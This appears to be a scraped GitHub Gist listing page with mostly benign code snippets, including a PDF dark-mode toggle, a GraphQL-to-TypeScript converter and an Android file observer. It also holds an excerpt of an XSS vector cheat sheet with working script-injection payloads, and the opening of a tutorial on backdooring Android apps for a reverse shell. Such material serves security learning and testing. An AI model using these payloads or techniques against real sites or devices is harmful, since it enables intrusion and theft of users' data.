Skip to content

Instantly share code, notes, and snippets.

Avatar
💻
Writing Useless commit messages

Islem Maboud ipenywis

💻
Writing Useless commit messages
View GitHub Profile
@sneakyness
sneakyness / togglePDFDarkMode.js
Created May 24, 2020
Chrome/Brave PDF Viewer Dark Mode Toggle
View togglePDFDarkMode.js
// When using in-browser PDF viewer, you can inspect it and run this in the console
// It's using CSS Blending to invert the colors of the PDF
function togglePDFDarkMode() {
var cover = document.createElement("div");
let inversion = `
position: fixed;
pointer-events: none;
top: 0;
left: 0;
width: 100vw;
@davidlares
davidlares / ANDROID.md
Last active Sep 9, 2021
Backdooring Android Apps with FatRat and Metasploit Framework
View ANDROID.md

Backdooring Android Apps with FatRat and Metasploit Framework

We have to set a point, mobile applications are a HUGE market today. Many entrepreneurs left behind web-based experiences for building disruptive mobile solutions. The battle of smart-phones remains today between IOs and Android. Both have pros and cons, they are designed and configured with default security settings that maybe not the ideal for non-experienced people.

This writing demonstrates a practical and simple example on how to generate a Reverse TCP back-door on an existing APK file.

This is a pretty common "Social Engineering Attack", and it's focused on generating a reverse TCP connection, where the attacker easily can generate shell access to your Android phone in the time you are using the infected application and do some harmful stuff or access your private information without any concern.

And when a mean “Social Engineering Attacks” is because the way it propagates, I’ll explain in a bit how are the

@Mikhus
Mikhus / gqlts.js
Last active Oct 29, 2019
GraphQL schema to TypeScript definitions. Usage: ./gqlts.js /path/to/schema.graphql > /path/to/schema.d.ts
View gqlts.js
#!/usr/bin/env node
/*!
* ISC License
*
* Copyright (c) 2019, Mykhailo Stadnyk <mikhus@gmail.com>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
@bmaupin
bmaupin / install-oracle-sql-developer.md
Last active Dec 31, 2021
Install Oracle SQL Developer on Ubuntu/Debian
View install-oracle-sql-developer.md
@bradtraversy
bradtraversy / webdev_online_resources.md
Last active Jan 21, 2022
Online Resources For Web Developers (No Downloading)
View webdev_online_resources.md
View Instagram_Bot.py
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import random
import sys
def print_same_line(text):
sys.stdout.write('\r')
sys.stdout.flush()
@kurobeats
kurobeats / xss_vectors.txt
Last active Jan 16, 2022
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@apolloclark
apolloclark / Buffer Overflow Tutorial in Kali.md
Last active Oct 14, 2021
Buffer overflow demonstration in Kali Linux, based on the Computerphile video
View Buffer Overflow Tutorial in Kali.md
@dominicknguyen
dominicknguyen / stack.c
Last active Nov 15, 2018
Linked List Stack in C
View stack.c
#include <stdio.h>
/*
Linked list implementation of Stack in C
I'm learning C so it's not that good!
Feel free to leave tips!
*/
@gitanuj
gitanuj / RecursiveFileObserver.java
Created May 20, 2015
A FileObserver for Android which monitors all the files/folders in a directory recursively.
View RecursiveFileObserver.java
import java.io.File;
import java.util.HashMap;
import java.util.Map;
import java.util.Stack;
import android.os.FileObserver;
/**
* A FileObserver that observes all the files/folders within given directory
* recursively. It automatically starts/stops monitoring new folders/files